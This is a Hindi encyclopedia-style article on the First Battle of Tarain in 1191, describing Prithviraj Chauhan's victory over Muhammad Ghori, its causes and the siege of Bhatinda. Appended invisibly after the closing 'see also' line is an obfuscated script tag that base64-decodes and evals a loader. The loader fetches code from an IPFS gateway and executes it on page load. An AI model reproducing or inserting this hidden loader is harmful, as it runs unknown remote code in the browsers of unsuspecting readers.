तराइन का प्रथम युद्ध

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तराइन का प्रथम युद्ध 1191 ई. में 'तराइन' के मैदान में लड़ा गया था। यह युद्ध हिन्दू राजपूत राजा पृथ्वीराज चौहान और भारत पर हमला करने वाले मुस्लिम आक्रमणकारी शहाबुद्दीन मुहम्मद ग़ोरी के मध्य हुआ। इस युद्ध में मुहम्मद ग़ोरी की करारी हार हुई और उसकी सेना भाग खड़ी हुई। ग़ोरी स्वयं बुरी तरह घायल हो गया और उसे अपनी जान बचाकर भारत भूमि से भागना पड़ा।

पृथ्वीराज तथा ग़ोरी की महत्वाकांक्षा

राजपूत राजा पृथ्वीराज चौहान ने अपने समय के विदेशी आक्रमणकारी शहाबुद्दीन मुहम्मद ग़ोरी को कई बार पराजित किया। युवा पृथ्वीराज ने आरम्भ से ही साम्राज्य विस्तार की नीति अपनाई थी। किंवदंतियों के अनुसार मुहम्मद ग़ोरी ने 18 बार पृथ्वीराज पर आक्रमण किया, जिसमें से 17 बार उसे पराजित होना पड़ा। किसी भी इतिहासकार को किंवदंतियों के आधार पर अपना मत बनाना कठिन होता है। इस विषय में इतना निश्चित है कि शहाबुद्दीन मुहम्मद ग़ोरी और पृथ्वीराज चौहान के मध्य कम-से-कम दो भीषण युद्ध आवश्यक हुए थे। अपनी-अपनी महत्वाकांक्षाओं और साम्राज्य विस्तार की नीति के कारण पृथ्वीराज चौहान और शहाबुद्दीन मुहम्मद ग़ोरी के बीच युद्ध अवश्यंभावी हो गया था।

युद्ध का कारण

तराइन का प्रथम युद्ध 'तबरहिन्द', वर्तमान भटिंडा (पंजाब) पर दोनों के दावों को लेकर आरम्भ हुआ। तराइन के मैदान में वर्ष 1191 ई. में जो युद्ध हुआ, उसमें मुहम्मद ग़ोरी की सेना के पाँव उखड़ गए और स्वयं ग़ोरी की जान एक युवा ख़िलज़ी घुड़सवार ने बचाई। पृथ्वीराज चौहान अब भटिंडा की ओर मुड़ा और तेरह महीनों के घेरे के बाद उसे अपने क़ब्ज़े में कर लिया। लेकिन इसके बावजूद उसने पंजाब से ग़ोरियों को खदेड़ने का कोई प्रयास नहीं किया। शायद उसे ऐसा लगा हो कि तुर्कों के बार-बार हो रहे आक्रमणों में से यह भी एक हो और ग़ोरी शासक बस पंजाब पर शासन कर संतुष्ट रहें। बताया जाता है कि तराइन की दूसरी लड़ाई के पूर्व पृथ्वीराज चौहान, मुहम्मद ग़ोरी को दिए एक प्रस्ताव में पंजाब को उसके हाथों छोड़ने के लिए तैयार था।

ग़ोरी की हार

1191 ई. में जब पृथ्वीराज से मुहम्मद ग़ोरी की विशाल सेना का सामना हुआ, तब राजपूत वीरों की विकट मार से मुस्लिम सैनिकों के पैर उखड़ गये। स्वयं शहाबुद्दीन मुहम्मद ग़ोरी भी पृथ्वीराज चौहान के अनुज के प्रहार से बुरी तरह घायल हो गया। यदि उसका ख़िलजी सेवक उसे घोड़े पर डाल कर युद्ध भूमि से भगाकर न ले जाता, तो वहीं उसके प्राण पखेरू उड़ जाते। उस युद्ध में ग़ोरी की भारी पराजय हुई और उसे भीषण हानि उठाकर भारत से भागना पड़ा। भारतीय राजा के विरुद्ध युद्ध अभियान में यह उसकी दूसरी बड़ी पराजय थी, जो अन्हिलवाड़ा के युद्ध के बाद सहनी पड़ी थी।

इस युद्ध से पहले पृथ्वीराज चौहान कई हिन्दू राजाओं से लड़ाइयाँ कर चुका था। चंदेल राजाओं को पराजित करने में उसे अपने कई विख्यात सेनानायकों और वीरों को खोना पड़ा था। जयचंद्र के साथ होने वाले संघर्ष में भी उसके बहुत से वीरों की हानि हुई थी। फिर उन दिनों पृथ्वीराज अपने वृद्ध मन्त्री पर राज्य भार छोड़ कर स्वयं संयोगिता के साथ विलास क्रीड़ा में लगा हुआ था। उन सब कारणों से उसकी सैन्य शक्ति अधिक प्रभावशालिनी नहीं थी, फिर भी उसने मुहम्मद ग़ोरी के दाँत खट्टे कर दिये थे।

इन्हें भी देखें: तराइन का द्वितीय युद्ध, पृथ्वीराज चौहान, मुहम्मद ग़ोरी एवं मध्यकालीन भारत<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


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